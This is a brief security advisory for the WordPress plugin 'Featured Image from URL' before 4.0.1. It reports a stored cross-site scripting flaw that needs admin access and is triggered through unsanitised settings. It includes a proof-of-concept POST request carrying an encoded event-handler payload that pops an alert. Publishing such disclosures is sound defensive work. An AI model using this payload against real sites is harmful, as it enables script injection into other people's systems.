Featured Image from URL < 4.0.1 - Admin+ Stored Cross-Site Scripting

The plugin does not validate, sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks when the unfiltered_html capability is disallowed (for example in multisite setup)

PoC

POST /wp-admin/admin.php?page=featured-image-from-url HTTP/1.1 Accept: / Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 137 Connection: close Cookie: [admin+] nonce_fifu_form_photon=97e59a4740&fifu;_input_photon=on%22%20style%3danimation-name%3arotation%20onanimationstart%3dalert(%2fXSS%2f)%2f%2f The XSS will be triggered when accessing the settings again